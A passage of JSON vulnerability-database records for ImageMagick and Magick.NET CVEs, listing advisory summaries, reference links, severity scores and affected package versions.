"resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-pr3f-pq54-dkd5" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/57963?format=api", "vulnerability_id": "VCID-px2s-euef-ayeh", "summary": "ImageMagick has a Stack Buffer Overflow in image.c\nIn ImageMagick's `magick mogrify` command, specifying multiple consecutive `%d` format specifiers in a filename template causes internal pointer arithmetic to generate an address below the beginning of the stack buffer, resulting in a stack overflow through `vsnprintf()`.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-53101.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-53101.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2025-53101", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.0035", "scoring_system": "epss", "scoring_elements": "0.57786", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2025-53101" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-53101", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-53101" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.7.0", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.7.0" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick6/commit/643deeb60803488373cd4799b24d5786af90972e", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick6/commit/643deeb60803488373cd4799b24d5786af90972e" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/66dc8f51c11b0ae1f1cdeacd381c3e9a4de69774", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-07-15T13:27:44Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/66dc8f51c11b0ae1f1cdeacd381c3e9a4de69774" }, { "reference_url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html" }, { "reference_url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1109339", "reference_id": "1109339", "reference_type": "", "scores": [], "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1109339" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2379947", "reference_id": "2379947", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2379947" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53101", "reference_id": "CVE-2025-53101", "reference_type": "", "scores": [ { "value": "7.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53101" }, { "reference_url": "https://github.com/advisories/GHSA-qh3h-j545-h8c9", "reference_id": "GHSA-qh3h-j545-h8c9", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-qh3h-j545-h8c9" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-qh3h-j545-h8c9", "reference_id": "GHSA-qh3h-j545-h8c9", "reference_type": "", "scores": [ { "value": "7.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-07-15T13:27:44Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-qh3h-j545-h8c9" }, { "reference_url": "https://usn.ubuntu.com/7728-1/", "reference_id": "USN-7728-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/7728-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/85858?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.7.0", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-11v2-qgx3-47hz" }, { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-1hrc-y5vr-efgj" }, { "vulnerability": "VCID-1j2k-6rbb-tfhy" }, { "vulnerability": "VCID-1p4e-f2bs-eycu" }, { "vulnerability": "VCID-1y2r-nh91-u7ha" }, { "vulnerability": "VCID-27wf-43fw-kuam" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-3gm2-ehp7-d7em" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4fqh-nbke-bufv" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-4q34-28cp-j3fn" }, { "vulnerability": "VCID-58jw-s2v7-ukcw" }, { "vulnerability": "VCID-5e38-r9z4-a7h9" }, { "vulnerability": "VCID-5e5g-55d6-3yev" }, { "vulnerability": "VCID-5mtv-p43c-fqc5" }, { "vulnerability": "VCID-5xqc-2jt1-dfh1" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-7rkq-y5rp-wyfm" }, { "vulnerability": "VCID-836n-xdhx-zye3" }, { "vulnerability": "VCID-88yk-kthd-5qgr" }, { "vulnerability": "VCID-8sq5-r6ur-3be6" }, { "vulnerability": "VCID-8zwb-29vf-gkag" }, { "vulnerability": "VCID-92t2-5jrm-cyej" }, { "vulnerability": "VCID-97p8-5z8e-2qd5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-a58f-bqx9-yfhk" }, { "vulnerability": "VCID-acea-fhhx-xydj" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-bcdj-1szf-u3c8" }, { "vulnerability": "VCID-c9t3-dj85-nfev" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cpn3-kr6q-2ugv" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-ddvf-h3jf-1yft" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-dw4p-7umw-tqhd" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-g38v-cdjz-a7cd" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-jtta-svbt-wfcv" }, { "vulnerability": "VCID-juaq-c8xf-rkb1" }, { "vulnerability": "VCID-kcs8-8s5x-w7er" }, { "vulnerability": "VCID-kpcy-a3v3-ubhs" }, { "vulnerability": "VCID-kyeb-ndqs-vyhp" }, { "vulnerability": "VCID-kymx-rjrd-m3g4" }, { "vulnerability": "VCID-m1x2-ffdz-ekhu" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-majy-bytw-9bew" }, { "vulnerability": "VCID-mjy1-gkm8-2ugw" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-ndur-uewc-aucm" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-rabe-pnz7-mqbj" }, { "vulnerability": "VCID-rp71-pwxm-quhd" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-s9vc-rtmc-vygy" }, { "vulnerability": "VCID-sca8-3j9v-2qgn" }, { "vulnerability": "VCID-sh29-s49w-6qdj" }, { "vulnerability": "VCID-sjg9-srcu-8bck" }, { "vulnerability": "VCID-t1vu-myek-u7dq" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-taap-mm6q-xuef" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-u59k-v6pm-qud3" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-v8sf-9pty-aqh4" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-wh9f-rvt4-6fb9" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xftp-cy5m-nkhh" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-ye74-15xt-ukhk" }, { "vulnerability": "VCID-yhp9-y1y3-nyh8" }, { "vulnerability": "VCID-yxmc-uvt6-ebgw" }, { "vulnerability": "VCID-z52g-6wk3-3ufj" }, { "vulnerability": "VCID-z5ve-fkb6-8yhs" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.7.0" } ], "aliases": [ "CVE-2025-53101", "GHSA-qh3h-j545-h8c9" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-px2s-euef-ayeh" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50880?format=api", "vulnerability_id": "VCID-qrsw-ekum-zue2", "summary": "ImageMagick has heap-based buffer overflow in UHDR encoder\nA heap-based buffer overflow in the UHDR encoder can happen due to truncation of a value and it would allow an out of bounds write.\n\n```\n================================================================\n==2158399==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x521000039500 at pc 0x562a4a42f968 bp 0x7ffcca4ed6c0 sp 0x7ffcca4ed6b0\nWRITE of size 1 at 0x521000039500 thread T0\n```", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-30931.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.8", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-30931.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-30931", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00019", "scoring_system": "epss", "scoring_elements": "0.05502", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-30931" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.6", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445900", "reference_id": "2445900", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445900" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30931", "reference_id": "CVE-2026-30931", "reference_type": "", "scores": [ { "value": "6.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30931" }, { "reference_url": "https://github.com/advisories/GHSA-h95r-c8c7-mrwx", "reference_id": "GHSA-h95r-c8c7-mrwx", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-h95r-c8c7-mrwx" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-h95r-c8c7-mrwx", "reference_id": "GHSA-h95r-c8c7-mrwx", "reference_type": "", "scores": [ { "value": "6.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-10T14:53:03Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-h95r-c8c7-mrwx" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74575?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.4", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.4" } ], "aliases": [ "CVE-2026-30931", "GHSA-h95r-c8c7-mrwx" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-qrsw-ekum-zue2" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/57961?format=api", "vulnerability_id": "VCID-r168-y44g-cybn", "summary": "ImageMagick has a Memory Leak in magick stream\nIn ImageMagick's `magick stream` command, specifying multiple consecutive `%d` format specifiers in a filename template causes a memory leak.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-53019.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-53019.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2025-53019", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00377", "scoring_system": "epss", "scoring_elements": "0.59615", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2025-53019" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-53019", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-53019" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.7.0", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.7.0" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick6/commit/d49460522669232159c2269fa64f73ed30555c1b", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick6/commit/d49460522669232159c2269fa64f73ed30555c1b" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/fc3ab0812edef903bbb2473c0ee652ddfd04fe5c", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/fc3ab0812edef903bbb2473c0ee652ddfd04fe5c" }, { "reference_url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html" }, { "reference_url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1109339", "reference_id": "1109339", "reference_type": "", "scores": [], "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1109339" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2379949", "reference_id": "2379949", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2379949" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53019", "reference_id": "CVE-2025-53019", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53019" }, { "reference_url": "https://github.com/advisories/GHSA-cfh4-9f7v-fhrc", "reference_id": "GHSA-cfh4-9f7v-fhrc", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-cfh4-9f7v-fhrc" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-cfh4-9f7v-fhrc", "reference_id": "GHSA-cfh4-9f7v-fhrc", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-07-15T13:27:49Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-cfh4-9f7v-fhrc" }, { "reference_url": "https://usn.ubuntu.com/7728-1/", "reference_id": "USN-7728-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/7728-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/85858?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.7.0", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-11v2-qgx3-47hz" }, { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-1hrc-y5vr-efgj" }, { "vulnerability": "VCID-1j2k-6rbb-tfhy" }, { "vulnerability": "VCID-1p4e-f2bs-eycu" }, { "vulnerability": "VCID-1y2r-nh91-u7ha" }, { "vulnerability": "VCID-27wf-43fw-kuam" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-3gm2-ehp7-d7em" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4fqh-nbke-bufv" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-4q34-28cp-j3fn" }, { "vulnerability": "VCID-58jw-s2v7-ukcw" }, { "vulnerability": "VCID-5e38-r9z4-a7h9" }, { "vulnerability": "VCID-5e5g-55d6-3yev" }, { "vulnerability": "VCID-5mtv-p43c-fqc5" }, { "vulnerability": "VCID-5xqc-2jt1-dfh1" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-7rkq-y5rp-wyfm" }, { "vulnerability": "VCID-836n-xdhx-zye3" }, { "vulnerability": "VCID-88yk-kthd-5qgr" }, { "vulnerability": "VCID-8sq5-r6ur-3be6" }, { "vulnerability": "VCID-8zwb-29vf-gkag" }, { "vulnerability": "VCID-92t2-5jrm-cyej" }, { "vulnerability": "VCID-97p8-5z8e-2qd5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-a58f-bqx9-yfhk" }, { "vulnerability": "VCID-acea-fhhx-xydj" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-bcdj-1szf-u3c8" }, { "vulnerability": "VCID-c9t3-dj85-nfev" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cpn3-kr6q-2ugv" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-ddvf-h3jf-1yft" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-dw4p-7umw-tqhd" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-g38v-cdjz-a7cd" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-jtta-svbt-wfcv" }, { "vulnerability": "VCID-juaq-c8xf-rkb1" }, { "vulnerability": "VCID-kcs8-8s5x-w7er" }, { "vulnerability": "VCID-kpcy-a3v3-ubhs" }, { "vulnerability": "VCID-kyeb-ndqs-vyhp" }, { "vulnerability": "VCID-kymx-rjrd-m3g4" }, { "vulnerability": "VCID-m1x2-ffdz-ekhu" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-majy-bytw-9bew" }, { "vulnerability": "VCID-mjy1-gkm8-2ugw" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-ndur-uewc-aucm" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-rabe-pnz7-mqbj" }, { "vulnerability": "VCID-rp71-pwxm-quhd" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-s9vc-rtmc-vygy" }, { "vulnerability": "VCID-sca8-3j9v-2qgn" }, { "vulnerability": "VCID-sh29-s49w-6qdj" }, { "vulnerability": "VCID-sjg9-srcu-8bck" }, { "vulnerability": "VCID-t1vu-myek-u7dq" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-taap-mm6q-xuef" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-u59k-v6pm-qud3" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-v8sf-9pty-aqh4" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-wh9f-rvt4-6fb9" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xftp-cy5m-nkhh" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-ye74-15xt-ukhk" }, { "vulnerability": "VCID-yhp9-y1y3-nyh8" }, { "vulnerability": "VCID-yxmc-uvt6-ebgw" }, { "vulnerability": "VCID-z52g-6wk3-3ufj" }, { "vulnerability": "VCID-z5ve-fkb6-8yhs" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.7.0" } ], "aliases": [ "CVE-2025-53019", "GHSA-cfh4-9f7v-fhrc" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-r168-y44g-cybn" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50322?format=api", "vulnerability_id": "VCID-rabe-pnz7-mqbj", "summary": "ImageMagick: Possible memory leak in ASHLAR encoder\nA memory leak in the ASHLAR image writer allows an attacker to exhaust process memory by providing a crafted image that results in small objects that are allocated but never freed.\n\n```\n==880062== Memcheck, a memory error detector\n==880062== Copyright 